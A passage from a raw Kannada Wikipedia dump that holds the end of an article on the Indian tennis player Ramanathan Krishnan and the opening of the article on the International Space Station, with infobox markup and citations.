ಫ್ರೇಸರ್ ಎದುರು ಪರಾಭವಗೊಂಡರು) *೧೯೬೧ - [[ವಿಂಬಲ್ಡನ್]] - ಏಳನೇ ಕ್ರಮಾಂಕ ಸ್ಥಾನ ಗಳಿಕೆ, ಸತತ ಎರಡನೇ ಬಾರಿಗೆ ಸೆಮಿ-ಫೈನಲ್ಸ್ ಹಂತ ತಲುಪಿದರು.(ಅಂತಿಮವಾಗಿ ಚ್ಯಾಂಪಿಯನ್ ರೊಡ್ ಲವೆರ್ ಎದುರು ಪರಾಭವಗೊಂಡರು) *೧೯೬೬ - ಡೇವಿಸ್ ಕಪ್ ಫೈನಲ್ ಹಂತಕ್ಕೆ ಪ್ರವೇಶಿಸಿದ ಭಾರತೀಯ ತಂಡದ ಸದಸ್ಯರಾಗಿದ್ದರು. (ಅಂತಿಮ ಪಂದ್ಯದಲ್ಲಿ ಆಸ್ಟ್ರೇಲಿಯ ತಂಡದ ಎದುರು ಪರಾಭವ) ==ಉಲ್ಲೇಖಗಳು== {{Reflist}} ಉಲ್ಲೇಖಗಳು {{Persondata <!-- Metadata: see [[Wikipedia:Persondata]]. --> | NAME = Krishnan, Ramanathan | ALTERNATIVE NAMES = | SHORT DESCRIPTION = | DATE OF BIRTH = | PLACE OF BIRTH = | DATE OF DEATH = | PLACE OF DEATH = }} {{DEFAULTSORT:Krishnan, Ramanathan}} [[ವರ್ಗ:ಭಾರತೀಯ ಟೆನ್ನಿಸ್ ಆಟಗಾರರು]] [[ವರ್ಗ:ತಮಿಳು ಆಟಗಾರರು]] [[ವರ್ಗ:1937ರಲ್ಲಿ ಜನಿಸಿದವರು]] [[ವರ್ಗ:ಬದುಕಿರುವ ವ್ಯಕ್ತಿಗಳು]] [[ವರ್ಗ:ಅರ್ಜುನ್ ಪ್ರಶಸ್ತಿ ವಿಜೇತರು]] [[ವರ್ಗ:ಟೆನ್ನಿಸ್ ಕ್ರೀಡಾಪಟುಗಳು]] [[ವರ್ಗ:ಕ್ರೀಡಾಪಟುಗಳು]] [[ವರ್ಗ:ಪದ್ಮಭೂಷಣ ಪ್ರಶಸ್ತಿ ಪುರಸ್ಕೃತರು]] l5fb6crq4xi509hobf6ezmu6aftbkhi ಅಂತರರಾಷ್ಟ್ರೀಯ ಬಾಹ್ಯಾಕಾಶ ನಿಲ್ದಾಣ 0 27008 1116547 1087767 2022-08-24T01:44:35Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox Space station | station = ಅಂತರರಾಷ್ಟ್ರೀಯ ಬಾಹ್ಯಾಕಾಶ ನಿಲ್ದಾಣ | station_image =51712535185 8a25f05886 o Crew Dragon fly around 10.jpg | station_image_alt = A rearward view of the ISS backdropped by the limb of the Earth. In view are the station's four large, gold-coloured solar array wings, two on either side of the station, mounted to a central truss structure. Further along the truss are six large, white radiators, three next to each pair of arrays. In between the solar arrays and radiators is a cluster of pressurised modules arranged in an elongated T shape, also attached to the truss. A set of blue solar arrays are mounted to the module at the aft end of the cluster. | station_image_size = 300px | extra_image_size = 300px | extra_image_caption = The International Space Station on 23 May 2010 as seen from the departing {{OV|104}} during [[STS-132]]. | insignia = ISS insignia.svg | insignia_size = 150px | insignia_caption = ಐಎಸ್‌ಎಸ್ ಇನ್ಸಿಗ್ನಿಯಾ | insignia_alt = A silhouette of the ISS shown orbiting the Earth, contained within it, a blue shield with the words 'International Space Station' at the top. | sign = ''ಅಪ್ಲ್ಹಾ'' | crew = ೬ | launch = ೧೯೯೮–೨೦೧೧ | launch_pad = [[Kennedy Space Center|KSC]] [[Kennedy Space Center Launch Complex 39|LC-39]],<br />[[Baikonur Cosmodrome|Baikonur]] [[Gagarin's Start|LC-1/5]] & [[Baikonur Cosmodrome Site 81|LC-81/23]] | mass = {{convert|369914|kg|lbs|abbr=on}} | length = 51&nbsp;m (167.3&nbsp;ft)<br /><small>from PMA-2 to ''Zvezda''</small> | width = 109&nbsp;m (357.5&nbsp;ft)<br /><small>along truss, arrays extended</small> | height = c. 20&nbsp;m (c. 66&nbsp;ft)<br /><small>nadir–zenith, arrays forward–aft</small><br /><small>(27 November 2009){{Update after|2010|05|23|reason=Departure of STS-132.}}</small> | volume = 837&nbsp;m<sup>3</sup><br />(29,561&nbsp;[[cubic foot|cu&nbsp;ft]]) | pressure = 101.3&nbsp;[[pascal (unit)|kPa]] (29.91&nbsp;[[inch of mercury|inHg]], 1 [[Atmosphere (unit)|atm]]) | perigee = 347&nbsp;km (187&nbsp;[[nautical mile|nmi]]) [[Above mean sea level|AMSL]]<br /><small>(18 June 2010)</small> | apogee = 360&nbsp;km (194&nbsp;nmi) AMSL<br /><small>(18 June 2010)</small> | inclination = 51.6&nbsp;[[degree (angle)|degrees]] | speed = 7,706.6&nbsp;[[m/s]]<br />(27,743.8&nbsp;[[kilometres per hour|km/h]], 17,239.2&nbsp;[[miles per hour|mph]]) | period = 91&nbsp;minutes | in_orbit = {{age in days|1998|11|20}}<br /><small>({{date||dmy}})</small><!--Self-updating--> | occupied = {{age in days|2000|11|02}}<br /><small>({{date||dmy}})</small><!--Self-updating--> | orbits = {{#expr:floor ({{age in days|1998|11|20}} * 15.69661858595413)}}<br /><small>({{date||dmy}})</small><!--Self-updating--> | decay = 2 km/month | NSSDC_ID = 1998-067A | as_of = 23 May 2010<br />(unless noted otherwise) | stats_ref =<ref name="ISStD"/><ref name="OnOrbit"/><ref name="heavens-above">{{cite web|url=http://www.heavens-above.com/orbit.aspx?satid=25544|title=ISS—Orbit Data|publisher=Heavens-Above.com|author=Chris Peat|date=18 June 2010|accessdate=18 June 2010}}</ref><ref name="Space.com">{{cite web|url=http://www.space.com/missionlaunches/missions/fl_alpha_010201.html|publisher=Space.com|title=NASA Yields to Use of Alpha Name for Station|author=Steven Siceloff|date=1 February 2001|publisher=Florida Today|accessdate=18 January 2009|archiveurl=https://web.archive.org/web/20010624092552/http://www.space.com/missionlaunches/missions/fl_alpha_010201.html|archivedate=24 June 2001}}</ref><ref>{{cite web|format=PDF|url=https://www.nasa.gov/pdf/451029main_sts132_press_kit.pdf|publisher=NASA|accessdate=19 June 2010|title=STS-132 Press Kit|date=7 May 2010}}</ref> | configuration_image = ISS configuration 2010-05 en.svg | configuration_alt = The components of the ISS in an exploded diagram, with modules on-orbit highlighted in orange, and those still awaiting launch in blue or pink. | configuration_caption = Station elements {{As of|2010|05|18|lc=on}}<br />([[exploded view]]) | configuration_size = 300px }} '''ಅಂತರರಾಷ್ಟ್ರೀಯ ಬಾಹ್ಯಾಕಾಶ ನಿಲ್ದಾಣ ''' ('''ISS''' )(ಇಂಟರ್ನ್ಯಾಷನಲ್ ಸ್ಪೇಸ್ ಸ್ಟೇಷನ್) ಎಂಬುದು ಅಂತರರಾಷ್ಟ್ರೀಯವಾಗಿ ಅಭಿವೃದ್ಧಿಪಡಿಸಲಾದ ಸಂಶೋಧನಾ ಸೌಲಭ್ಯವಾಗಿದ್ದು, ಇದನ್ನು ಪೃಥ್ವಿಯ ನಿಕಟವರ್ತಿ ಕಕ್ಷೆಯಲ್ಲಿ ಸ್ಥಾಪಿಸಲಾಗುತ್ತದೆ. ಈ ನಿಲ್ದಾಣದ ನಿರ್ಮಾಣವನ್ನು 1998 ರಲ್ಲಿ ಪ್ರಾರಂಭಿಸಲಾಗಿದ್ದು, 2011 ರ ಉತ್ತರಾರ್ಧದಲ್ಲಿ ಪೂರ್ಣಗೊಳಿಸಬೇಕೆಂದು ನಿರ್ಧರಿಸಲಾಗಿದೆ. ನಿಲ್ದಾಣವು ಕೊನೆಯ ಪಕ್ಷ 2015 ರವರೆಗೆ ಮತ್ತು 2020 ರವರೆಗೆ ಕಾರ್ಯಾಚರಣೆಯಲ್ಲಿರಬೇಕೆಂದು ನಿರೀಕ್ಷಿಸಲಾಗಿದೆ.<ref name="Popular Mechanics">{{cite web|url=http://www.popularmechanics.com/science/air_space/4275571.html|title=The Uncertain Future of the International Space Station: Analysis|author=Rand Simberg|date=29 July 2008|accessdate=6 March 2009|publisher=[[Popular Mechanics]]|archive-date=31 ಮಾರ್ಚ್ 2009|archive-url=https://web.archive.org/web/20090331140838/http://www.popularmechanics.com/science/air_space/4275571.html|url-status=dead}}</ref><ref name="NewBudget">{{Cite press release|title=Statement by Charlie Bolden, NASA Budget Press Conference|publisher=NASA|date=1 February 2010|url=https://www.nasa.gov/pdf/420994main_2011_Budget_Administrator_Remarks.pdf|accessdate=1 February 2010}}</ref> ಹಿಂದಿನ ಯಾವುದೇ ಬಾಹ್ಯಕಾಶ ನಿಲ್ದಾಣಕ್ಕಿಂತ ಅತ್ಯಂತ ದೊಡ್ಡ ಪಾರ್ಶ್ವಛೇದೀಯ ವ್ಯಾಪ್ತಿಯೊಂದಿಗೆ, ISS ಅನ್ನು [[ಭೂಮಿ]]ಯಿಂದ ಬರಿಕಣ್ಣಿನಲ್ಲಿ ನೋಡಬಹುದಾಗಿದೆ<ref name="see" />. ಅಲ್ಲದೇ ಇದು ಹಿಂದೆಂದೂ ಭೂಮಿಯನ್ನು ಸುತ್ತಿರದ ಅತ್ಯಂತ ದೊಡ್ಡ, ಮಾನವ ನಿರ್ಮಿತ ಉಪಗ್ರಹವಾಗಿದೆ.<ref name="10th">{{cite web|url=https://www.nasa.gov/mission_pages/station/main/10th_anniversary.html|title=Nations Around the World Mark 10th Anniversary of International Space Station|publisher=NASA|date=17 November 2008|accessdate=6 March 2009}}</ref> ಇದರಲ್ಲಿ ISS ಸೂಕ್ಷ್ಮಗುರುತ್ವ ಪರಿಸರವನ್ನು ಹೊಂದಿರುವ ಸಂಶೋಧನಾ ಪ್ರಯೋಗಾಲಯದಂತೆ ಸೇವೆಸಲ್ಲಿಸುತ್ತದೆ. ಈ ಪ್ರಯೋಗಾಲಯದಲ್ಲಿ ಸಿಬ್ಬಂದಿ [[ಜೀವಶಾಸ್ತ್ರ|ಜೀವವಿಜ್ಞಾನ]], [[ರಸಾಯನಶಾಸ್ತ್ರ|ರಾಸಾಯನಿಕ ಶಾಸ್ತ್ರ]], ಔಷಧಿ, ಶರೀರವಿಜ್ಞಾನ ಮತ್ತು [[ಭೌತಶಾಸ್ತ್ರ]]ಮತ್ತು [[ಖಗೋಳಶಾಸ್ತ್ರ|ಖಗೋಳವಿಜ್ಞಾನಕ್ಕೆ ಸಂಬಂಧಪಟ್ಟ]] ಮತ್ತು ಪವನಶಾಸ್ತ್ರಕ್ಕೆ ಸಂಬಂಧ ಪಟ್ಟ ವೀಕ್ಷಣೆಗಳಲ್ಲಿ ಪ್ರಯೋಗಗಳನ್ನು ನಡೆಸುತ್ತಾರೆ.<ref name="ISS overview" /><ref name="NASA Fields of Research">{{cite web|url=http://pdlprod3.hosc.msfc.nasa.gov/A-fieldsresearch/index.html|archiveurl=https://web.archive.org/web/20080123150641/http://pdlprod3.hosc.msfc.nasa.gov/A-fieldsresearch/index.html|archivedate=25 March 2008|title=Fields of Research|date=26 June 2007|publisher = NASA}}</ref><ref name="NASA ISS Goals">{{cite web|url=http://pdlprod3.hosc.msfc.nasa.gov/B-gettingonboard/index.html|archiveurl=https://web.archive.org/web/20071208091537/http://pdlprod3.hosc.msfc.nasa.gov/B-gettingonboard/index.html|archivedate=8 December 2007| title = Getting on Board|date = 26 June 2007| publisher=NASA}}</ref> ಬಾಹ್ಯಾಕಾಶ ನೌಕೆಯ ವ್ಯವಸ್ಥೆಗಳ ಪರೀಕ್ಷೆಗಾಗಿ ನಿಲ್ದಾಣವು ವಿಶಿಷ್ಟ ವಾತಾವರಣವನ್ನು ಒದಗಿಸುತ್ತದೆ. ಇಂತಹ ವ್ಯವಸ್ಥೆಗಳು [[ಚಂದ್ರ]] ಮತ್ತು [[ಮಂಗಳ (ಗ್ರಹ)|ಮಂಗಳ]]ದ ಯಾತ್ರೆಗೆ ಅಗತ್ಯವಾಗಿವೆ.<ref name="ResProg" /> ISS ಅನ್ನು ಆರು ಜನ ಗಗನಯಾತ್ರಿಗಳ ಮತ್ತು ಅಂತರಿಕ್ಷಯಾತ್ರಿಗಳ ಗಗನಯಾತ್ರೆಯ ಸಿಬ್ಬಂದಿ ನಿರ್ವಹಿಸುತ್ತದೆ. ಅಲ್ಲದೇ 2000 ಇಸವಿಯ ಅಕ್ಟೋಬರ್ 31 ರಂದು ಗಗನಯಾತ್ರೆ 1 ಅನ್ನು ಆರಂಭಿಸಿದಾಗಿನಿಂದ, ಒಟ್ಟು {{Ageand|2000|10|31}} ಗಗನಯಾತ್ರೆಯ ವರೆಗೂ ಬಾಹ್ಯಾಕಾಶದಲ್ಲಿ ಮಾನವನ ಉಪಸ್ಥಿತಿಗೆ ಯಾವುದೇ ಅಡೆತಡೆ ಇರದಂತೆ ನಿಲ್ದಾಣದ ಕಾರ್ಯಯೋಜನೆಯನ್ನು ನಿರ್ವಹಿಸುತ್ತಾರೆ. ಹೀಗೆ ಈ ಕಾರ್ಯಯೋಜನೆಯು, ಯಾವುದೇ ಅಡೆತಡೆಯಿಲ್ಲದೇ ದೀರ್ಘಕಾಲದ ವರೆಗೆ ಬಾಹ್ಯಾಕಾಶದಲ್ಲಿದ್ದ ಮಾನವನ ಉಪಸ್ಥಿತಿಯ ಇತ್ತೀಚಿನ ದಾಖಲೆಯನ್ನು ಹೊಂದಿದೆ. ''ಮಿರ್'' (ಬಾಹ್ಯಾಕಾಶ ನಿಲ್ದಾಣ)ನಲ್ಲಿ 3,644 ದಿನಗಳವರೆಗೆ ಇದ್ದ ಹಿಂದಿನ ದಾಖಲೆಯನ್ನು ಮೀರಿಸಿ ಗಗನಯಾತ್ರೆ 26 ರ ಸಿಬ್ಬಂದಿ ಬಾಹ್ಯಾಕಾಶದಲ್ಲಿದ್ದರು.<ref name="Only Just Begun">{{cite 15 years and 328 daysweb|url=https://www.nasa.gov/mission_pages/station/main/5_year_anniversary.html|title=We've Only Just Begun|publisher=NASA|accessdate=6 March 2009|date=26 June 2008}}</ref> {{As of|2010|11|25}}<ref name="CurrentExpedition">{{cite web|url=https://www.nasa.gov/mission_pages/station/expeditions/expedition26/index.html|accessdate=26 November 2010|publisher=NASA|title=Expedition 26|date=25 November 2010}}</ref> ISS ಎಂಬುದು ಅಮೇರಿಕಾದ ''ಫ್ರೀಡಮ್'' , ಸೋವಿಯತ್ ರಷ್ಯಾ /ರಷ್ಯಾದ ''ಮಿರ್'' -2, ಯುರೋಪಿನ ''ಕೊಲಂಬಸ್'' ಮತ್ತು ಜಪಾನೀಯರ''ಕಿಬೋ'' ವನ್ನು ಒಳಗೊಂಡ ಅನೇಕ ಬಾಹ್ಯಾಕಾಶ ನಿಲ್ದಾಣ ಯೋಜನೆಗಳ ಸಮನ್ವಯವಾಗಿದೆ.<ref name="SSSM" /><ref name="ISSBook">{{cite book|isbn=978-0387781440|date=17 June 2008|publisher=Springer-Praxis|author=John E. Catchpole|title=The International Space Station: Building for the Future}}</ref> ಬಜೆಟ್ ನ (ಆಯವ್ಯಯದಲ್ಲಿನ) ಕೊರತೆಯ ನಿರ್ಬಂಧದಿಂದಾಗಿ ಈ ಯೋಜನೆಗಳು, ಏಕೀಕೃತ ಅಂತರರಾಷ್ಟ್ರೀಯ ಯೋಜನೆಯಾಗಿ ವಿಲೀನಗೊಂಡವು.<ref name="SSSM" /> ISS ಯೋಜನೆಯನ್ನು 1994 ರಲ್ಲಿ ಷಟಲ್(ಬಾನಗಾಡಿ)-''ಮಿರ್'' ಕಾರ್ಯಕ್ರಮದೊಂದಿಗೆ ಪ್ರಾರಂಭಿಸಲಾಯಿತು.<ref name="SMB">{{cite web|title=Shuttle–Mir History/Background/How "Phase 1" Started|publisher=NASA|date=4 April 2004|author=Kim Dismukes|url=http://spaceflight.nasa.gov/history/shuttle-mir/history/h-b-start.htm|accessdate=12 April 2007|archive-date=4 ಮಾರ್ಚ್ 2016|archive-url=https://web.archive.org/web/20160304113151/http://spaceflight.nasa.gov/history/shuttle-mir/history/h-b-start.htm|url-status=dead}}</ref> ಅಲ್ಲದೇ ನಿಲ್ದಾಣದ ಪ್ರಥಮ ಘಟಕ(ಮಾಡ್ಯೂಲ್) ವಾದ ''ಜಾರ್ಯಾ'' ವನ್ನು, [[ರಷ್ಯಾ]] 1998 ರಲ್ಲಿ ಉಡಾವಣೆ ಮಾಡಿತು.<ref name="SSSM" /> ಸಾಮಾನ್ಯ ವಾಯು ಒತ್ತಡವಿರುವಂತೆ ಏರ್ಪಡಿಸಲಾದ ಘಟಕಗಳು, ಬಾಹ್ಯ ಟ್ರಸ್ (ಕೆಳದಿಮ್ಮಿಕಟ್ಟು) ಗಳು, ಮತ್ತು ಇತರ ಘಟಕಗಳನ್ನು, ಅಮೇರಿಕದ ಬಾಹ್ಯಾಕಾಶ ಬಾನಗಾಡಿ(ಬಾಹ್ಯಾಕಾಶ ಸಾರಿಗೆ ವ್ಯವಸ್ಥೆ), ರಷ್ಯಾದ ಪ್ರೋಟಾನ್ ರಾಕೆಟ್ಸ್ ಮತ್ತು ರಷ್ಯಾದ ಸೊಯೊಸ್ ರಾಕೆಟ್ಸ್ ಗಳಿಂದ ಉಡಾವಣೆ ಮಾಡುವ ಮೂಲಕ ಜೋಡಣೆಯು ಮುಂದುವರೆದಿದೆ.<ref name="ISSBook" /> {{As of|2010|May}}, ನಿಲ್ದಾಣವು ಸಾಮಾನ್ಯ ವಾಯು ಒತ್ತಡವಿರುವಂತೆ ಏರ್ಪಡಿಸಲಾದ ಹದಿನಾಲ್ಕು ಘಟಕಗಳನ್ನು ಒಳಗೊಂಡಿದೆ. ಅಷ್ಟೇ ಅಲ್ಲದೇ ಅತ್ಯಂತ ವ್ಯಾಪಕವಾದ ಇಂಟಿಗ್ರೇಟೆಡ್ ಟ್ರಸ್ ಸ್ಟ್ರಕ್ಚರ್ (ITS) ಅನ್ನು ಕೂಡ ಒಳಗೊಂಡಿದೆ. ಅಲ್ಲದೇ ಇದಕ್ಕೆ ಹದಿನಾರು ಸೌರ ದ್ಯುತಿವಿದ್ಯುಜ್ಜನಕ ಸರಣಿಗಳ ಮೂಲಕ ವಿದ್ಯುತ್ ಅನ್ನು ಒದಗಿಸಲಾಗುತ್ತದೆ.(ಅಂತರರಾಷ್ಟ್ರೀಯ ಬಾಹ್ಯಾಕಾಶ ಸಂಸ್ಥೆಯ ವಿದ್ಯುತ್ ವ್ಯವಸ್ಥೆ). ಇದನ್ನು ರಷ್ಯಾದ ಘಟಕಗಳ ಮೇಲಿರುವ ನಾಲ್ಕು ಸಣ್ಣ ಸರಣಿಗಳ ಜೊತೆಯಲ್ಲಿ ಮೇಲ್ಮುಖವಾದ ಬಾಹ್ಯ ಆಸರೆ ಕಟ್ಟುಗಳ, ಟ್ರಸ್ ಗಳ ಮೇಲೆ ಜೋಡಿಸಲಾಗಿರುತ್ತದೆ.<ref name="Arrays">{{cite web|url=https://www.nasa.gov/mission_pages/station/behindscenes/truss_segment.html|title=Spread Your Wings, It's Time to Fly|publisher=NASA|date=26 July 2006|accessdate=21 September 2006}}</ref> ನಿಲ್ದಾಣವನ್ನು {{convert|278|km|mi|0|abbr=on}} ರಿಂದ {{convert|460|km|mi|0|abbr=on}} ರಷ್ಟು ಎತ್ತರದ ಕಕ್ಷೆಯೊಳಗೆ ಸುಸ್ಥಿತಿಯಲ್ಲಿಟ್ಟು ನೋಡಿಕೊಳ್ಳಲಾಗುತ್ತದೆ. ಅಲ್ಲದೇ ಸರಿಸುಮಾರು 27,743.8&nbsp;km/h (17,239.2&nbsp;mph) ವೇಗದಲ್ಲಿ ಒಂದು ದಿನಕ್ಕೆ 15.7 ರಷ್ಟು ಕಕ್ಷೆಯನ್ನು ಕ್ರಮಿಸುವ ಮೂಲಕ ಪ್ರಯಾಣ ಮಾಡಲಾಗುತ್ತದೆ.<ref>{{cite web|publisher=ESA|url=http://www.esa.int/esaHS/ESA0I6KE43D_iss_0.html|title=See the ISS from your home town|date=7 January 2009|accessdate=18 June 2010}}</ref> ಇದನ್ನು ಐದು ಸಹಭಾಗಿತ್ವದ ಬಾಹ್ಯಾಕಾಶ ಸಂಸ್ಥೆಗಳ ಜಂಟಿ ಯೋಜನೆಯ ರೂಪದಲ್ಲಿ ನಿರ್ವಹಿಸಲಾಗುತ್ತದೆ. ನಿಲ್ದಾಣದ ವಿಭಾಗಗಳನ್ನು ಭೂಮಿ ಮೇಲಿನ ಗಗನಯಾತ್ರೆಯ (ವೈಜ್ಞಾನಿಕ ಕಾರ್ಯಾಚರಣೆಯ)ನಿಯಂತ್ರಣ ಕೇಂದ್ರಗಳು ನಿಯಂತ್ರಿಸುತ್ತವೆ. ಇವುಗಳನ್ನು ಅಮೇರಿಕದ [[ನಾಸಾ|ನ್ಯಾಷನಲ್ ಏರೋನಾಟಿಕ್ಸ್ ಅಂಡ್ ಸ್ಪೇಸ್ ಅಡ್ಮಿನಿಸ್ಟ್ರೇಷನ್]] (NASA)(ನಾಸಾ), ಯುರೋಪಿಯನ್ ಸ್ಪೇಸ್ ಏಜೆನ್ಸಿ(ESA)(ಯುರೋಪಿನ ಬಾಹ್ಯಾಕಾಶ ಸಂಸ್ಥೆ), ರಷ್ಯಾನ್ ಫೆಡರಲ್ ಸ್ಪೇಸ್ ಏಜೆನ್ಸಿ (RKA), ಜಪಾನ್ ಏರೋಸ್ಪೇಸ್ ಎಕ್ಸ್ ಪ್ಲೋರೇಷನ್ (JAXA) ಮತ್ತು ಕೆನಡಿಯನ್ ಸ್ಪೇಸ್ ಏಜೆನ್ಸಿ (CSA) ನೋಡಿಕೊಳ್ಳುತ್ತವೆ.<ref name="PartStates" /><ref name="ISSRG" /> ನಿಲ್ದಾಣದ ಮಾಲಿಕತ್ವ ಮತ್ತು ಬಳಕೆಯನ್ನು ಅಂತರ ಸರ್ಕಾರೀ ಒಪ್ಪಂದಗಳು ಮತ್ತು ಕರಾರುಗಳಲ್ಲಿ ದೃಢಪಡಿಸಲಾಗಿದೆ<ref name="ESA-IGA" />, ಇದು ರಷ್ಯನ್ ಫೆಡರೇಷನ್ ಗೆ, US ಆರ್ಬಿಟಲ್ ಸೆಗ್ಮೆಂಟ್ ನೊಂದಿಗೆ ರಷ್ಯನ್ ಆರ್ಬಿಟಲ್ ಸೆಗ್ಮೆಂಟ್ (ರಷ್ಯನ್ ಕಕ್ಷೆಯ ಭಾಗ)ನಲ್ಲಿರುವ ಅದರ ಘಟಕಗಳ ಮೇಲೆ ಸಂಪೂರ್ಣ ಹಕ್ಕನ್ನು ಉಳಿಸಿಕೊಳ್ಳಲು ಅವಕಾಶ ನೀಡಿದೆ.<ref name="RSA-MOU" /> ನಿಲ್ದಾಣದ ಉಳಿದ ಹಕ್ಕನ್ನು ಇತರ ಅಂತರರಾಷ್ಟ್ರೀಯ ಸಹಯೋಗಿಗಳ ನಡುವೆ ಹಂಚಿಕೆ ಮಾಡಲಾಗಿದೆ.<ref name="ESA-IGA" /> ಈ ನಿಲ್ದಾಣ ನಿರ್ಮಿಸಲು 30 ವರ್ಷಗಳ ಅವಧಿಗೆ ತಗಲುವ ವೆಚ್ಚ €100 ಬಿಲಿಯನ್ ಎಂದು ESA ಅಂದಾಜು ಮಾಡಿದೆ,<ref name="costs" /> ಅಲ್ಲದೇ 35 ರಿಂದ 160 ಬಿಲಿಯನ್ US ಡಾಲರ್ ಗಳಾಗಬಹುದೆಂದೂ ಕೂಡ ಅಂದಾಜುಮಾಡಲಾಗಿದೆ. ISS ಅನ್ನು ಹಿಂದೆಂದೂ ನಿರ್ಮಿಸದ ಅತ್ಯಂತ ದುಬಾರಿ ವೆಚ್ಚದ ಬಾಹ್ಯಾಕಾಶ ನಿಲ್ದಾಣವೆಂದು ನಂಬಲಾಗುತ್ತದೆ.<ref name="cost2" /> ISS ಅನ್ನು ನಿರ್ಮಿಸುವ ಯೋಜನೆಯಲ್ಲಿ ತಗಲುವ ಅಧಿಕ ವೆಚ್ಚದಿಂದಾಗಿ, ಈ ಯೋಜನೆಯ ಹಣಕಾಸು, ಸಂಶೋಧನಾ ಸಾಮರ್ಥ್ಯಗಳು ಮತ್ತು ಇದರ ತಾಂತ್ರಿಕ ವಿನ್ಯಾಸವನ್ನು ಟೀಕಿಸಲಾಗಿದೆ.<ref name="Crit1" /><ref name="Crit2" /> ಈ ನಿಲ್ದಾಣಕ್ಕೆ ಸೊಯುಜ್ ಬಾಹ್ಯಾಕಾಶನೌಕೆ , ಪ್ರೋಗ್ರೆಸ್ ಬಾಹ್ಯಾಕಾಶನೌಕೆ, ಬಾನಗಾಡಿಗಳು, ಅಟೊಮೇಟೆಡ್ ಟ್ರಾನ್ಸ್ಫರ್ ವೆಹಿಕಲ್ ಮತ್ತು H-II ಟ್ರಾನ್ಸ್ಫರ್ ವೆಹಿಕಲ್ ಗಳು ಸೇವೆಸಲ್ಲಿಸುತ್ತವೆ.<ref name="ISSRG" /> ಅಲ್ಲದೇ 15 ವಿವಿಧ ರಾಷ್ಟ್ರಗಳಿಂದ ಗಗನಯಾತ್ರಿಗಳು, ಅಂತರಿಕ್ಷಯಾತ್ರಿಗಳು ಇಲ್ಲಿಗೆ ಭೇಟಿ ನೀಡಿದ್ದಾರೆ.<ref name="10th" /> ==[[ಅಂತರರಾಷ್ಟ್ರೀಯ ಬಾಹ್ಯಾಕಾಶ ನಿಲ್ದಾಣ ಮತ್ತು ಸೊಯುಜ್ ಟಿಎಮ್ಎ-೨೦ಎಮ್]] ==ನೋಡಿ== *ವಿಶೇಷ ಲೇಖನ:[[ಅಂತರರಾಷ್ಟ್ರೀಯ ಬಾಹ್ಯಾಕಾಶ ನಿಲ್ದಾಣ ಮತ್ತು ಸೊಯುಜ್ ಟಿಎಮ್ಎ-೨೦ಎಮ್]]:[[ಸೊಯುಜ್ ಕೋಶ ಟಿಎಮ್‍ಎ-20ಎಮ್]] ==ಉದ್ದೇಶ== ಅಂತರರಾಷ್ಟ್ರೀಯ ಬಾಹ್ಯಾಕಾಶ ನಿಲ್ದಾಣ (ISS)ವೆಂಬುದು ಅಂತರರಾಷ್ಟ್ರೀಯವಾಗಿ ಅಭಿವೃದ್ಧಿಪಡಿಸಲಾದ ವಾಸಯೋಗ್ಯ ಉಪಗ್ರಹವಾಗಿದ್ದು, ಇದನ್ನು ಪ್ರಸ್ತುತದಲ್ಲಿ ಪೃಥ್ವಿಯ ನಿಕಟವರ್ತಿ ಕಕ್ಷೆಯಲ್ಲಿ ಜೋಡಿಸಿ ಸ್ಥಾಪಿಸಲಾಗುತ್ತಿದೆ. ISS ಮುಖ್ಯವಾಗಿ NASA ದ ಬಾನಗಾಡಿಯಂತಹ ಬಾಹ್ಯಾಕಾಶ ನೌಕೆಗೆ ಸಂಶೋಧನ ಪ್ರಯೋಗಾಲಯವನ್ನು ಒದಗಿಸಿದೆ. ಏಕೆಂದರೆ ಇದು ಬಾಹ್ಯಾಕಾಶ ಪರಿಸರದಲ್ಲಿ(ಹಗುರವಾಗಿರುವಿಕೆ) ದೀರ್ಘಕಾಲವಿರುವಂತಹ ವೇದಿಕೆಯಾಗಿದ್ದು, ಇಲ್ಲಿ ವ್ಯಾಪಕವಾದ ಅಧ್ಯಯನಗಳನ್ನು ಕೈಗೊಳ್ಳಲಾಗುತ್ತದೆ.<ref name="10th" /><ref name="Worldbook at NASA" /> ಕಾಯಂ ಸಿಬ್ಬಂದಿಯ ಉಪಸ್ಥಿತಿಯು, ಬಾಹ್ಯಾಕಾಶನೌಕೆಗೆ ಅದರ ಪ್ರಯೋಗಗಳನ್ನು ಮತ್ತು ಘಟಕಗಳನ್ನು ಸ್ವತಃ ಎಚ್ಚರಿಕೆಯಿಂದ ನೋಡಿಕೊಳ್ಳುವ, ಅಗತ್ಯವಾದದ್ದನ್ನು ಪುನಃ ಭರ್ತಿಮಾಡಿಕೊಳ್ಳುವ, ಸರಿಮಾಡುವ ಮತ್ತು ಬದಲಾಯಿಸುವ ಸಾಮರ್ಥ್ಯ ಒದಗಿಸುತ್ತದೆ. ಭೂಮಿಯ ಮೇಲಿರುವ ವಿಜ್ಞಾನಿಗಳು ಸಿಬ್ಬಂದಿ ವರ್ಗ ರವಾನಿಸುವ ದತ್ತಾಂಶವನ್ನು ಅತಿ ವೇಗವಾಗಿ ಪರಿಶೀಲಿಸುತ್ತಾರೆ. ಅಲ್ಲದೇ ಪ್ರಯೋಗಗಳನ್ನು ಮಾರ್ಪಡಿಸಬಹುದು ಅಥವಾ ಹೊಸದನ್ನು ಆರಂಭಿಸಬಹುದು. ಸಿಬ್ಬಂದಿರಹಿತ(ಮಾನವರಹಿತ) ಬಾಹ್ಯಾಕಾಶನೌಕೆಯಲ್ಲಿ ಸಾಮಾನ್ಯವಾಗಿ ಅನುಕೂಲತೆಗಳಿರುವುದಿಲ್ಲ.<ref name="Worldbook at NASA" /> ಅನೇಕ ತಿಂಗಳುಗಳ ಕಾಲಾವಧಿಯ ವರೆಗೆ ಗಗನಯಾತ್ರೆಗಳು ಮಾಡುವ ಮತ್ತು ಸಿಬ್ಬಂದಿ ನಡೆಸುವ ಪ್ರತಿ ದಿನದ ವೈಜ್ಞಾನಿಕ ಪ್ರಯೋಗಗಳನ್ನು ಅವರು ದಾಖಲಿಸಿ ಗಮನಿಸುತ್ತಾರೆ.(ಸರಿಸುಮಾರಾಗಿ ವಾರಕ್ಕೆ 160 ಮಾನವ ಗಂಟೆಗಳಂತೆ).<ref name="ISS overview">{{cite web|url=http://www.shuttlepresskit.com/ISS_OVR/index.htm|title=International Space Station Overview|publisher=ShuttlePressKit.com|date=3 June 1999|accessdate=17 February 2009}}</ref><ref name="Science in School">{{cite web|url=http://www.scienceinschool.org/2008/issue10/iss|title=The International Space Station: life in space|publisher=Science in School|date=10 December 